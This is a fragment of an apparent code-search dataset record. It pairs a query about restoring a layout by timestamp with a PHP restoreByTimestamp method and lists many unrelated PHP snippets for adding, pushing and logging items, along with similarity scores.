"public function add($item)\n {\n $this->manuallyAddedData[] = $item;\n }",
"public function add() {\n $page = 'basket';\n $id = $_GET['id'];\n\n $product = $this->productManager->findOne($id);\n\n $productInBasket = $this->inBasket($id); //check if the product is in the basket\n\n if(!empty($product) && isset($_SESSION['user']['basket'])) {\n if ($productInBasket)\n $_SESSION['user']['basket'][$id]['quantity']++;\n else\n $_SESSION['user']['basket'][$id] = array(\"product\" => $product, \"quantity\" => 1);\n }\n\n header(\"Location: ./index.php?ctrl=basket&action=consult\");\n require('./View/default.php');\n }",
"public function append($item)\n {\n array_push($this->activeValue, $item);\n }",
"function addItem(SitemapItem $item)\r\n {\r\n $this->items[] = $item;\r\n }",
"public function add(string $key, mixed $item): self;",
"function addItemToDB()\n {\n $this->database->addItemToDB($this);\n }",
"public function store(Request $request)\n {\n $this->validate($request, [\n 'name' => 'required|max:255',\n 'key' => 'required|max:25',\n ]);\n\n $item = Item::add($request->all());\n History::add([\n 'item_id' => $item->id,\n 'text' => History::setText($item),\n ]);\n\n return redirect()->route('index');\n }",
"function add_log_entry(log_op_move $entry) {\n array_unshift($this->log_op_list, $entry);\n }",
"function History($table, $key, $id)\n{\n global $mysqli, $userid;\n // Add Audit Record\n $hsql = \"Insert into \".$table.\"_history\n select 0,\".$table.\".*,'\".$userid.\"',null\n from \".$table.\" where \".$key.\" = \".$id.\";\";\n $result = $mysqli->query($hsql);\n return $hsql;\n}",
"public function add(string $key, Link $item)\n {\n $this->links[$key] = $item;\n }",
"function addItem(&$item) {\n\t\tglobal $CONF ; \n\t\t$this->items [$item->alias] = $item;\n\t\t$item->menu = $this ;\n\t}",
"function push($x)\n {\n $this->items[] = $x;\n }",
"function addItemForInsert($item, $batch_id=null) {\n if($batch_id != null) {\n $this->_insert[$batch_id] = $item;\n } else {\n $this->_insert[] = $item;\n }\n }",
"public function addHistory($date, $history_id) {\n if ( $_SESSION['addHistory'] = true ) {\n $file = fopen( \"loginHistory.txt\", \"a\");\n if($file) {\n $output = ++$history_id . \"~\" . $_POST['username'] . \"~\" . $date . \"\\n\";\n fwrite($file, $output);\n fclose($file); \n } else {\n echo \"Could not save history!\";\n } \n }\n }",
"public function createNewItem();",
"public function addAction() {\t\t\n\t\t$arUser = $this->authenticate();\n\t\tif( !$this->_request->isPost()) {\n\t\t\t$this->view->channel_id = $this->_getParam('channel_id');\n\t\t\t$this->view->formAction = $this->getRequest()->getBaseUrl().'/item/add';\n\t\t} else {\n\t\t\t$channelID = (int)$this->_getParam('channel_id');\n\t\t\t$item = new Items();\t\t\t\n\t\t\t$item->addItem($channelID, $this->_getParam('title'), $arUser['id']);\n\t\t\t$this->_helper->redirector->goto('add', 'item', null, array('channel_id'=>$channelID));\n\t\t}\t\t\n\t}",
"function add($pos,$url,$img,$title,$accesskey='')\n{\n\tif($pos==0)\n\t\t$this->reflist[]=array($url,$img,$title,$accesskey);\n\telse\n\t\tarray_unshift($this->reflist,array($url,$img,$title,$accesskey));\n}",
"public function addEntry(\\Yana\\Db\\Ddl\\Logs\\AbstractLog $log)\n {\n array_unshift($this->changes, $log);\n }",
"protected function push(Component $item)\n\t{\n\t\t$this->items[] = $item;\n\t}",
"public function saveHistoryItem($service, $code, $data) {\n \n //Save the item to the MongoDB\n $this->collection->insert( \n array (\n \"date\" => mktime(), //save the current UNIX TIMESTAMP\n \"service\" => $service,\n \"code\" => $code,\n \"data\" => $data\n )\n );\n \n }",
"public function addItem(SagepayItem $item)\r\n {\r\n $this->_items[] = $item;\r\n }",
"public function addItem(Cart $cart, CartItem $item);",
"static function addHistory( $order_id, $action, $msg, $details = array(), $success = true ) {\n\t\tglobal $wpdb;\n\n\t\t$table = $wpdb->prefix . self::TABLENAME;\n\n\t\t// build history record\n\t\t$record = new stdClass();\n\t\t$record->action = $action;\n\t\t$record->msg = $msg;\n\t\t$record->details = $details;\n\t\t$record->success = $success;\n\t\t$record->time = time();\n\n\t\t// load history\n\t\t$history = $wpdb->get_var( \"\n\t\t\tSELECT history\n\t\t\tFROM $table\n\t\t\tWHERE order_id = '$order_id'\n\t\t\" );\n\n\t\t// init with empty array\n\t\t$history = maybe_unserialize( $history );\n\t\tif ( ! $history ) $history = array();\n\n\t\t// prevent fatal error if $history is not an array\n\t\tif ( ! is_array( $history ) ) {\n\t\t\tWPLA()->logger->error( \"invalid history value in OrdersImporter::addHistory(): \".$history);\n\n\t\t\t// build history record\n\t\t\t$rec = new stdClass();\n\t\t\t$rec->action = 'reset_history';\n\t\t\t$rec->msg = 'Corrupted history data was cleared';\n\t\t\t$rec->details = array();\n\t\t\t$rec->success = 'ERROR';\n\t\t\t$rec->time = time();\n\n\t\t\t$history = array();\n\t\t\t$history[] = $record;\n\t\t}\n\n\t\t// add record\n\t\t$history[] = $record;\n\n\t\t// update history\n\t\t$history = serialize( $history );\n\t\t$wpdb->query( \"\n\t\t\tUPDATE $table\n\t\t\tSET history = '$history'\n\t\t\tWHERE order_id = '$order_id'\n\t\t\" );\n\n\t}",
"public function InsertHistoryQOH($item, $qty) {\n return \"INSERT INTO `akc_qb`.`history` (`item_id`, `action`, `item`, `from`, `to`, `change`, `by`, `for`, `notes`,`entered`, `updated`)\n VALUES(\n (SELECT `id` FROM `akc_qb`.`items_working` WHERE `FullName` = '{$item}' LIMIT 1),\n 'Adjustment',\n '{$item}',\n (SELECT `qoh` FROM `akc_qb`.`items_working` WHERE `FullName` = '{$item}' LIMIT 1),\n (SELECT (SELECT (`qoh` * 1) FROM `akc_qb`.`items_working` WHERE `FullName` = '{$item}' LIMIT 1) + {$qty}),\n '{$qty}',\n 'AKC',\n 'AKC',\n 'adjustment for item returned from truck',\n '2020-05-05 05:30:00',\n '2020-05-05 05:30:00'\n );<br>\";\n }",
"protected function pushKey($key, $value)\n {\n $this->items[$key] = $this->set($value);\n }",
"function addEntry($newentry) {\n\t\t$this->data[] = $newentry;\n\t}",
"public function add_entry($entry);",
"public function addElement($item)\n {\n $this->items[$this->itemsCount] = $item;\n $this->itemsCount++;\n }",
"public function push($key, $value) {\n\t\t$oldItems = $this->lastItems;\n\n\t\t$this->lastItems = array(\n\t\t\t$key => $value\n\t\t);\n\n\t\tif($oldItems) {\n\t\t\t$this->lastItems = $this->lastItems + $oldItems;\n\t\t}\n\n\t\treturn $this;\n\t}",
"function add($record)\n {\n $data = get_object_vars($record);\n $this->rest->initialize(array('server' => REST_SERVER));\n $this->rest->option(CURLOPT_PORT, REST_PORT);\n $retrieved = $this->rest->post('recipe/maintenance/item/id/' . $record->menu_id.'-'.$record->inventory_id, $data);\n }",
"public function push( $item )\n\t{\n\t\tif( $this->type && gettype($item)!==$this->type && get_class($item)!==$this->type ){\n\t\t\t$type= gettype($item);\n\t\t\t$type==='object' and $type= get_class($item);\n\t\t\tthrow new Error('TypeError: Argument 1 passed to '.__METHOD__.\"() must be of the type {$this->type}, $type given.\");\n\t\t}\n\n\t\tarray_unshift($this->stackArray,$item);\n\t}",
"public function add($obj, $key = NULL) {\n try{\n if ($key == NULL) {\n $this->Items[] = $obj;\n } else {\n $this->Items[$key] = $obj;\n }\n }catch(Exception $e){\n throw $e;\n }\n }",
"public function push($key, $value)\n {\n $this->add($this->tail, $key, $value);\n }",
"function add( $id, $payload ) {\t\t$this->items[ $id ] = $payload;\n\t}",
"public function add();",
"public function add();",
"abstract protected function populateEntry(HistoryEntry $entry);",
"public function push(...$items): void;",
"function addItem ($userId, $item)\n\t{\n\t\t$now = date (\"Y-m-d H:i:s\");\n\t\t$query = sprintf ($this->queries['addItem'],\n\t\t\t$userId,\n\t\t\taddslashes ($item->parentId),\n\t\t\taddslashes ($item->isParent),\n\t\t\taddslashes ($item->name),\n\t\t\taddslashes ($item->description),\n\t\t\taddslashes ($item->visibility),\n\t\t\taddslashes ($item->category),\n\t\t\t$now,\n\t\t\taddslashes ($item->login),\n\t\t\taddslashes ($item->password),\n\t\t\taddslashes ($item->url));\n\t\t$result = $this->db->Execute($query)\n\t\t\tor die(\"AddItem: \" . $this->db->ErrorMsg() . \" \" . $query);\n\t}",
"public function try_to_add_item( $item ) {\n\t\t_deprecated_function(\n\t\t\t'Jetpack_Sitemap_Buffer::try_to_add_item',\n\t\t\t'5.3.0',\n\t\t\t'Jetpack_Sitemap_Buffer::append'\n\t\t);\n\t\t$this->append( $item );\n\t}",
"protected function push($value)\n {\n $this->items[] = $this->set($value);\n }",
"public function add(...$items);",
"public function put(Item $item)\n {\n $this->items->push($item);\n }",
"public function append($value)\n {\n $this->items[] = $value;\n }",
"public function addItem(My_ShoppingCart_Item_Interface $item)\n {\n $this->_order->Orderdetail[] = $item;\n }",
"public function add($item, $id){\n $storedItem = ['qty' => 0,\n 'price'=>$item->price,\n 'item' => $item]; //servirá para os grupos, para nao tar a adicionar 2 da mesma coisa\n\n if($this->items){ //verificar se ja ha items no array\n if (array_key_exists($id, $this->items)){ //verificar se ja existe o item que eu quero adicionar\n $storedItem = $this->items[$id];\n }\n }\n\n $storedItem['qty']++;\n $storedItem['price'] = $item->price * $storedItem['qty'];\n $this->items[$id] = $storedItem;\n $this->totalQty++;\n $this->totalPrice += $item->price;\n\n }",
"public function addItem($item)\n {\n if ($item instanceof \\Fastbill\\Item\\Item)\n {\n $this['ITEMS'][] = $item;\n }\n else\n {\n $itemObj = new \\Fastbill\\Item\\Item();\n $itemObj->fillFromArray($item);\n $this['ITEMS'];\n }\n\n }",
"public function add($id) \n {\n $log = FezLog::get();\n if (!array_key_exists($id,$this->_ids) || !$this->_ids[$id]) {\n $this->_ids[$id] = self::ACTION_ADD;\n $log->debug(\"Added $id to queue\");\n }\n }",
"public function add ($item) {\n $objData = get_object_vars($item);\n $keys = array_keys($objData);\n // Query time.\n $sql = 'INSERT INTO ' . $this->table . ' (' . implode(',', $keys) . ') VALUES (:' . implode(',:', $keys) . ')';\n $this->query($sql, $objData);\n // Update the item primary key if single before returning it.\n/*\n if (count($this->keys) === 1) {\n $pk = current($this->keys);\n $item->$pk = $this->pdo->lastInsertId();\n }\n*/\n return $item;\n }",
"public function insert()\n {\n $this->_checkItem();\n $service = $this->getService();\n $entry = $service->newItemEntry();\n $this->setEntry($entry);\n $this->_prepareEnrtyForSave();\n $this->getEntry()->setItemType($this->_getItemType());\n $entry = $service->insertGbaseItem($this->getEntry());\n $this->setEntry($entry);\n $entryId = $this->getEntry()->getId();\n $published = $this->gBaseDate2DateTime($this->getEntry()->getPublished()->getText());\n $this->getItem()\n ->setGbaseItemId($entryId)\n ->setPublished($published);\n\n if ($expires = $this->_getAttributeValue('expiration_date')) {\n $expires = $this->gBaseDate2DateTime($expires);\n $this->getItem()->setExpires($expires);\n }\n }",
"protected function _push($item)\n { \n $node = new Tree_Node($item);\n \n if ($tree = $this->_traverse($this->getRootNode(), $node)) {\n $tree->attach($node);\n }\n }",
"public function pushRecord()\r\n {\r\n\r\n }",
"function register($item)\n {\n if (is_a($item, 'DVD') || is_a($item, 'Magazine') || is_a($item, 'Book')) {\n $item->setID(sizeof($this->collection) + 1);\n array_push($this->collection, $item);\n }\n }"
] | [
"0.7505617",
"0.694969",
"0.694969",
"0.6818756",
"0.6743169",
"0.6665509",
"0.65969044",
"0.6565689",
"0.6559872",
"0.6523632",
"0.6471341",
"0.6460336",
"0.6451671",
"0.640927",
"0.63726515",
"0.635148",
"0.6347177",
"0.62472963",
"0.6243903",
"0.61719966",
"0.6156889",
"0.6144528",
"0.61411154",
"0.61282825",
"0.61059743",
"0.6066118",
"0.6066019",
"0.60605276",
"0.60599285",
"0.60267484",
"0.60258573",
"0.60142785",
"0.60142785",
"0.6013385",
"0.598925",
"0.59892344",
"0.59861445",
"0.598426",
"0.5979186",
"0.59787494",
"0.5964243",
"0.59474045",
"0.59396386",
"0.59115934",
"0.5906537",
"0.5903307",
"0.5901933",
"0.5891863",
"0.58908695",
"0.58819634",
"0.58669907",
"0.58642226",
"0.5850453",
"0.58389753",
"0.5810496",
"0.57856286",
"0.576027",
"0.57502866",
"0.5747368",
"0.57307684",
"0.5730166",
"0.5723243",
"0.5715058",
"0.57094824",
"0.5703998",
"0.56956947",
"0.5682201",
"0.5678274",
"0.56650525",
"0.5664092",
"0.56570846",
"0.5648071",
"0.5633172",
"0.5628419",
"0.5623789",
"0.5620386",
"0.56051004",
"0.56018466",
"0.5596946",
"0.55956393",
"0.5593439",
"0.5591889",
"0.55887026",
"0.55887026",
"0.55880296",
"0.55732197",
"0.55689734",
"0.55606085",
"0.55340946",
"0.5530787",
"0.5526313",
"0.5522807",
"0.55213505",
"0.55148786",
"0.5513479",
"0.5501358",
"0.54959947",
"0.54944694",
"0.5491187",
"0.5489628",
"0.5488812"
] | 0.0 | -1 |
/ Restore the historical layout identified by timestamp | public function restoreByTimestamp ($timestamp)
{
$filename = $this->getFileByTimestamp( $timestamp );
$GLOBALS [ 'log' ]->debug ( get_class ( $this ) . ": restoring from $filename to {$this->_previewFilename}" ) ;
if (file_exists ( $filename ))
{
$this->savePreview($filename);
return $timestamp ;
}
return null ;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function restore();",
"public function restore($template);",
"public function restore() {}",
"protected static function restore() {}",
"public function restore()\n {\n //\n }",
"function restore()\n {\n }",
"public function restore()\n {\n }",
"function restore_all() {\n update_option('page_on_front', $this->ale_demo_history['page_on_front']);\n update_option('show_on_front', $this->ale_demo_history['show_on_front']);\n set_theme_mod('nav_menu_locations', $this->ale_demo_history['nav_menu_locations']);\n update_option('sidebars_widgets', $this->ale_demo_history['sidebars_widgets']);\n\n if (isset($this->ale_demo_history['used_widgets']) and is_array($this->ale_demo_history['used_widgets'])) {\n foreach ($this->ale_demo_history['used_widgets'] as $used_widget => $used_widget_value) {\n update_option('widget_' . $used_widget, $used_widget_value);\n }\n }\n\n\n\n // put the old theme settings back\n ale_global::$ale_options = $this->ale_demo_history['theme_options'];\n update_option(ALETHEME_THEME_OPTIONS_NAME, ale_global::$ale_options);\n\n // ?\n update_option('ale_social_networks', $this->ale_demo_history['ale_social_networks']);\n\n // delete the demo history\n delete_option(ALETHEME_SHORTNAME . '_demo_history');\n }",
"public function restored(ShowTime $showTime)\n {\n //\n }",
"public function restored(AppointmentNote $note)\n {\n //\n }",
"public function revert();",
"public function cleanupIndex( $timestamp );",
"public function restored(RideShareTransaction $rideShareTransaction)\n {\n //\n }",
"public function restore($id)\n {\n $layout = Layout::onlyTrashed()->find($id);\n $layout->restore();\n return redirect()->route('layout');\n }",
"public function restored(History $history)\n {\n //\n }",
"abstract public function revert();",
"public function restorePosition()\n {\n if ($this->value['y']==$this->_pdf->getY()) $this->_pdf->setY($this->value['yc'], false);\n }",
"public function undoRestore ()\n {\n if (file_exists ( $this->_previewFilename ))\n {\n unlink($this->_previewFilename);\n }\n }",
"public function rewindHistory();",
"public function refreshTimestamp();",
"public function restored(Lote $lote)\n {\n //\n }",
"public function restored(Historia $historia)\n {\n //\n }",
"function restore_current_blog()\n {\n }",
"public function undo() {\r\n $this->chart->restoreAxisScales();\r\n $this->setZoomed(false);\r\n }",
"public function cleanUpOldLog() {\n\t\t$timestamp = Utils::instance()->localToUtc( apply_filters( 'ip_lockout_logs_store_backward', '-' . Settings::instance()->storage_days . ' days' ) );\n\t\tLog_Model::deleteAll( array(\n\t\t\t'date' => array(\n\t\t\t\t'compare' => '<=',\n\t\t\t\t'value' => $timestamp\n\t\t\t),\n\t\t), '0,1000' );\n\t}",
"public function restoreGraphicState() {}",
"public function restoreGraphicState() {}",
"public function restored(TradeCancel $tradeCancel)\n {\n //\n }",
"public function restored(InterviewQuestion $interviewQuestion): void\n {\n //\n }",
"protected static function updateLayout(): void\n {\n (new Filesystem)->delete(resource_path('views/layouts'));\n\n (new Filesystem)->copyDirectory(__DIR__.'/ttall-stubs/resources/views/layouts', resource_path('views/layouts'));\n }",
"public function restore(){\n $this->update(['deleted_by', NULL]);\n return $this->baseRestore();\n }",
"public function after_restore() {\n global $DB;\n\n // Get the blockid.\n $blockid = $this->get_blockid();\n\n // Extract block configdata and update it to point to the new activities\n if ($configdata = $DB->get_field('block_instances', 'configdata', array('id' => $blockid))) {\n\n $config = unserialize(base64_decode($configdata));\n $update = false;\n $types = array('collectpresentations', 'collectworkshops', 'collectsponsoreds',\n 'conference', 'workshops', 'reception', 'publish',\n 'registerdelegates', 'registerpresenters');\n foreach ($types as $type) {\n if ($this->after_restore_fix_cmid($config, $type)) {\n $update = true;\n }\n }\n\n // cache number of sections in this course\n $numsections = self::get_numesctions($this->get_courseid());\n\n $types = array('review', 'revise');\n foreach ($types as $type) {\n if ($this->after_restore_fix_sectionnum($config, $type, $numsections)) {\n $update = true;\n }\n }\n\n if ($update) {\n $configdata = base64_encode(serialize($config));\n $DB->set_field('block_instances', 'configdata', $configdata, array('id' => $blockid));\n }\n }\n }",
"public function unsetOpenedAt(): void\n {\n $this->openedAt = [];\n }",
"public function restored(TenderParticipant $tenderParticipant)\n {\n //\n }",
"public function revert(){\n\t}",
"public function restored(Stock $stock)\n {\n //\n }",
"public function restored(Activity $activity)\n {\n //\n }",
"public function remove_old_record()\n\t{\n\t\t$one_day_ago = get_date_ago('1');\n\t\t$one_week_ago = get_date_ago('7');\n\t\t$one_month_ago = get_date_ago('30');\n\t\t$two_month_ago = get_date_ago('60'); // unused\n\t\t$three_month_ago = get_date_ago('90');\n\n\t\t$this->remove_old_news_url($one_day_ago);\n\t\t$this->remove_old_pantip_url($one_week_ago);\n\t\t$this->remove_old_edu_url($one_week_ago);\n\t\t$this->remove_old_jojoee_url($three_month_ago);\n\t\t$this->remove_old_youv_url($three_month_ago);\n\t\t$this->remove_old_yumm_url($two_month_ago);\n\n\t\t$this->remove_old_scraped_log($one_month_ago);\n\t\t$this->remove_old_published_log($one_month_ago);\n\t\t$this->remove_old_error_log($one_month_ago);\n\t\t$this->remove_old_log($one_month_ago);\n\t}",
"private function __unsetSlovak() {\n\n\t\t\t// Fetch current date and time settings\n\t\t\t$date = Symphony::Configuration()->get('date_format', 'lang-slovak-storage');\n\t\t\t$time = Symphony::Configuration()->get('time_format', 'lang-slovak-storage');\n\t\t\t$separator = Symphony::Configuration()->get('datetime_separator', 'lang-slovak-storage');\n\n\t\t\t// Store new date and time settings\n\t\t\tSymphony::Configuration()->set('date_format', $date, 'region');\n\t\t\tSymphony::Configuration()->set('time_format', $time, 'region');\n\t\t\tSymphony::Configuration()->set('datetime_separator', $separator, 'region');\n\t\t\tSymphony::Configuration()->write();\n\t\t}",
"public function restoring($model)\n\t{\n\t}",
"public function restored(Program $program): void\n {\n ChangeModelStatusEvent::dispatch($program, true);\n // Restore all contents under restored program\n RestoreProgramContentEvent::dispatch($program->getAttribute('id'));\n }",
"function parse_history_zone()\n\t\t{\n\t\t\tif ( (empty($this->display_history)) || (!($this->display_history)))\n\t\t\t{\n\t\t\t\t//hide the history zone\n\t\t\t\t$this->t->set_var(array( 'history' => ''));\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$inst_parser =& CreateObject('workflow.bo_uiinstance', $this->t);\n\t\t\t\t$inst_parser->t =& $this->t;\n\t\t\t\t$inst_parser->parse_instance_history($this->instance->workitems);\n\t\t\t\t$this->t->set_var('history', $this->t->parse('output', 'history_tpl'));\n\t\t\t}\n\t\t}",
"public function reset()\n {\n $this->values[self::_LAST_CHANGE] = null;\n $this->values[self::_TODAY_TIMES] = null;\n }",
"public function refresh() {\n $this->datastreamInfo = NULL;\n $this->datastreamHistory = NULL;\n }",
"public function reset()\n {\n $this->values[self::_EXCAVATE_HISTORY] = array();\n }",
"public function restored(Label $label)\n {\n //\n }",
"public function restored(TrainingByTitleDetail $trainingByTitleDetail)\n {\n //\n }",
"function revert_table() {\r\n $this->_table = $this->_table_org;\r\n $this->_table_org = NULL;\r\n }",
"public function restored(Leaderboard $leaderboard)\n {\n //\n }",
"public function restore_previous_locale()\n {\n }",
"public function restored(Edit $edit)\n {\n //\n }",
"public function erase_history()\n {\n $this->_event_history = [];\n }",
"public function restored(Transaction $transaction)\n {\n //\n }",
"public function restored(Transaction $transaction)\n {\n //\n }",
"public function restored(Transaction $transaction)\n {\n //\n }",
"public function restored(Transaction $transaction)\n {\n //\n }",
"protected function restored()\n {\n return $this->created();\n }",
"public function restored(CandidacyHistory $candidacyHistory)\n {\n //\n }",
"public function restore(): void\n\t{\n\t\t$this->processor->restore();\n\t}",
"public function restored(TechnicalVendorSchedule $technical_vendor_schedule)\n {\n //\n }",
"public function restoring(Auditable $model)\n {\n // When restoring a model, an updated event is also fired.\n // By keeping track of the main event that took place,\n // we avoid creating a second audit with wrong values\n static::$restoring = true;\n }",
"public function dropTimestamps()\n {\n $this->dropColumn(Config::get('modelling.model.timestamps.created_at'), Config::get('modelling.model.timestamps.updated_at'));\n }",
"public function reset_pos() {\n\t\tFile::save( $this->_resetfile, time() , true );\n\n\t\t$this->_summary[ 'is_running' ] = 0;\n\t\tself::save_summary();\n\t}",
"public function restored(InventoryStock $stock)\n {\n $movements = $stock->movements()->onlyTrashed()->get();\n\n if (count($movements) > 0) {\n foreach ($movements as $movement) {\n $movement->restore();\n }\n }\n }",
"function undo()\n {\n $this->document->eraseLast();\n }",
"public function revert()\n {\n return tap($this->apply(), function ($versionedModel) {\n $versionedModel->versions()->after($this)->each->delete();\n\n $this->update(['reverted_at' => $this->freshTimestamp()]);\n });\n }",
"public function restored(Document $document)\n {\n //\n }",
"private function clearLatestData() {\n\t\t$this->debug( 'Clearing latest stats: '.$this->getLatestDay() );\n\t\t$sql = 'DELETE FROM '.Statistics::$dbTable.' WHERE day = \"'.$this->getLatestDay().'\"';\n\t\t$this->db->query( $sql );\n\t}",
"public function restore($id);",
"public function restore($id);",
"public function restore($id);",
"public function restore($id);",
"public function restored(Holiday $holiday)\n {\n //\n }",
"public function restored(InDay $inDay)\n {\n //\n }",
"public function touch() {\n\t\t$this->timestamp();\n\t\t$this->save();\n\t}",
"function restore_previous_locale()\n {\n }",
"public function reset()\n {\n $this->values[self::_NORMAL_STAGE_STARS] = array();\n $this->values[self::_ELITE_STAGE_STARS] = array();\n $this->values[self::_ELITE_DAILY_RECORD] = array();\n $this->values[self::_ELITE_RESET_TIME] = null;\n $this->values[self::_SWEEP] = null;\n $this->values[self::_ACT_DAILY_RECORD] = array();\n $this->values[self::_ACT_RESET_TIME] = null;\n }",
"public function restored(AwardSeason $awardSeason)\n {\n //\n }",
"public function restored(Storage $storage)\n {\n //\n }",
"public function restored(Reports $report)\n {\n //\n }",
"public function saveLayout($layout){\n $this->layout = json_encode($layout);\n $this->update(array('layout'));\n }",
"public function resetLayoutBlock($publishedBlocks)\n {\n foreach ($this->layoutBlock as $block) {\n $block->setNoAutoDraft(true);\n $this->layoutBlock->removeElement($block);\n }\n\n $this->setLayoutBlock($publishedBlocks);\n\n }",
"function reset() {\n\t\t$this->_monthTimestamp = $this->_dayTimestamp = mktime(0,0,0,$this->_currentMonth,1,$this->_currentYear);\n\t\t$this->_currentMonthNumDays = intval(date('t',$this->_monthTimestamp));\n\t\t$this->_dateArray = array_fill(1, 31, \"\");\n\t\t$this->_preWeekArray = array();\n\t\t$this->_postWeekArray = array();\n\t}",
"function erase_history()\n{\n return XPSPL::instance()->erase_history();\n}",
"abstract protected function _restoreStandardValues();",
"public function unstick()\n {\n\n $this->sticked = 0;\n $this->updateAttributes(['sticked']);\n }",
"public function restoreOriginalService(): void;",
"public function reset()\n {\n $this->values[self::_ITEM_HISTORYS] = array();\n }",
"public function restored(Post $post)\n {\n //\n }",
"public function restored(Post $post)\n {\n //\n }",
"function rollbackToSavepoint(string $name): void;",
"public function restore(PastQuestionSingleRequest $request)\n {\n $past_question = PastQuestion::onlyTrashed()->find($request->input('id'));\n \n if ($past_question) { \n \n if ($past_question->uploaded_by !== auth()->user()->id || $this->USER_LEVEL_3 !== auth()->user()->rank) {\n return $this->authenticationFailure('This past question was not uploaded by you');\n }\n\n if ($past_question->restore()) {\n return $this->actionSuccess('Past question was restored');\n } else {\n return $this->requestConflict('Currently unable to restore past question');\n }\n\n } else {\n return $this->notFound('Past question was not found');\n }\n }",
"public function restore() {\n self::restoreAll($this->chapterID);\n }",
"public function restoreAction() {\n\n $blockVersionDatas = $this->getRequest()->getParams();\n\n //On charge la page correspondante\n $block = Mage::getModel('cms/block')->load($blockVersionDatas['block_id']);\n\n // On mets à jour les données avec les valeurs de notre version de page\n $block->setTitle($blockVersionDatas['title']);\n $block->setIdentifier($blockVersionDatas['identifier']);\n $block->setContent($blockVersionDatas['page_content']);\n\n if (preg_match(',', $blockVersionDatas['stores']))\n $block->setStores(explode(',', $blockVersionDatas['stores']));\n else\n $block->setStores(array($blockVersionDatas['stores']));\n\n try {\n $block->save();\n } catch (Exception $exc) {\n echo $exc->getTraceAsString();\n die();\n }\n\n //Ajout du message de confirmation et redirection\n Mage::getSingleton('adminhtml/session')->addSuccess(Mage::helper('Hhennes_CmsVersions')->__('Block version restored with success'));\n $this->_redirect('*/*/');\n }",
"function restore($old_question_id,$new_question_id,$info,$restore) {\n global $DB;\n\n $status = true;\n\n //Get the calculated-s array\n $calculateds = $info['#']['CALCULATED'];\n\n //Iterate over calculateds\n for($i = 0; $i < sizeof($calculateds); $i++) {\n $cal_info = $calculateds[$i];\n //traverse_xmlize($cal_info); //Debug\n //print_object ($GLOBALS['traverse_array']); //Debug\n //$GLOBALS['traverse_array']=\"\"; //Debug\n\n //Now, build the question_calculated record structure\n $calculated->question = $new_question_id;\n $calculated->answer = backup_todb($cal_info['#']['ANSWER']['0']['#']);\n $calculated->tolerance = backup_todb($cal_info['#']['TOLERANCE']['0']['#']);\n $calculated->tolerancetype = backup_todb($cal_info['#']['TOLERANCETYPE']['0']['#']);\n $calculated->correctanswerlength = backup_todb($cal_info['#']['CORRECTANSWERLENGTH']['0']['#']);\n $calculated->correctanswerformat = backup_todb($cal_info['#']['CORRECTANSWERFORMAT']['0']['#']);\n\n ////We have to recode the answer field\n $answer = backup_getid($restore->backup_unique_code,\"question_answers\",$calculated->answer);\n if ($answer) {\n $calculated->answer = $answer->new_id;\n }\n\n //The structure is equal to the db, so insert the question_calculated\n $newid = $DB->insert_record (\"question_calculated\",$calculated);\n\n //Do some output\n if (($i+1) % 50 == 0) {\n if (!defined('RESTORE_SILENTLY')) {\n echo \".\";\n if (($i+1) % 1000 == 0) {\n echo \"<br />\";\n }\n }\n backup_flush(300);\n }\n\n //Now restore numerical_units\n $status = question_restore_numerical_units ($old_question_id,$new_question_id,$cal_info,$restore);\n\n //Now restore dataset_definitions\n if ($status && $newid) {\n $status = question_restore_dataset_definitions ($old_question_id,$new_question_id,$cal_info,$restore);\n }\n\n if (!$newid) {\n $status = false;\n }\n }\n\n return $status;\n }",
"public function rollback() {\n if (!$this->changed())\n return;\n\n $this->tags = array('new' => array(), 'del' => array());\n $this->inited = false;\n }",
"public function restored(UnionDesglose $unionDesglose)\n {\n //\n }",
"public function restored(AssignmentSubmitted $as) {\n Messages::onlyTrashed()->where('id', $as->message_id)->restore();\n }",
"function resetOlds(){\n// deal gracefully with discontinuity in logs by resetting \"old\" values\n\nglobal $firstRain,$firstSump, $firstWater;\n$firstRain=1;\n$firstSump=1;\n$firstWater=1;\n}",
"function undo($oid)\n\t{\n\t\t// /v1/manifest/{{last_manifest_id}}/start/undo\n\t\t$this->_path = \"/v1/manifest/{$oid}/start/undo\";\n\t}"
] | [
"0.59258527",
"0.580759",
"0.5716178",
"0.5598764",
"0.5512282",
"0.54387033",
"0.5385307",
"0.53429395",
"0.5322379",
"0.52911305",
"0.518696",
"0.5185404",
"0.515128",
"0.514949",
"0.50725675",
"0.49810797",
"0.49663648",
"0.49601442",
"0.49395365",
"0.49232894",
"0.491035",
"0.49018493",
"0.48524058",
"0.48353928",
"0.48242015",
"0.48091593",
"0.48091593",
"0.48019797",
"0.4793657",
"0.4793603",
"0.47635007",
"0.476323",
"0.4750724",
"0.47492388",
"0.47448882",
"0.47238755",
"0.47126132",
"0.46957588",
"0.4670419",
"0.4653369",
"0.46528462",
"0.46411717",
"0.46405762",
"0.46326366",
"0.46282756",
"0.46246114",
"0.4613811",
"0.46048424",
"0.46026883",
"0.45988345",
"0.45962277",
"0.45893574",
"0.4588919",
"0.4588919",
"0.4588919",
"0.4588919",
"0.45873943",
"0.45863408",
"0.4583898",
"0.4582384",
"0.4563338",
"0.4558349",
"0.45545158",
"0.45512572",
"0.45495093",
"0.454287",
"0.45284092",
"0.4526338",
"0.4511884",
"0.4511884",
"0.4511884",
"0.4511884",
"0.4501667",
"0.44991663",
"0.44968432",
"0.44926018",
"0.44893545",
"0.44880185",
"0.44828427",
"0.44799563",
"0.44715324",
"0.4469078",
"0.4450414",
"0.44494858",
"0.44468164",
"0.4444493",
"0.4437903",
"0.44300878",
"0.44279537",
"0.44279537",
"0.44216126",
"0.44174612",
"0.44148844",
"0.44090423",
"0.44064027",
"0.44039327",
"0.44028786",
"0.43930832",
"0.4389524",
"0.43845284"
] | 0.61084 | 0 |
Saves given file for preview | public function savePreview($filename)
{
copy($filename, $this->_previewFilename);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function save($file, $path);",
"function save($filePath);",
"public function saveToFile($file)\n {\n \n }",
"public function save(IO\\File $file) {\n\t\t\tfile_put_contents($file, $this->render());\n\t\t\t$this->file = $file;\n\t\t}",
"public function save( $filename )\n {\n \n }",
"public function save($filename) {\r\n file_put_contents($filename, $this->contents);\r\n }",
"public function saveToFile() {\n\n $file = $this->getExtractedFile();\n\n $file->close();\n\n $this->extractedFile = false;\n }",
"public function save($filename, $content);",
"public function saveAs(string $path): void;",
"public function save($path);",
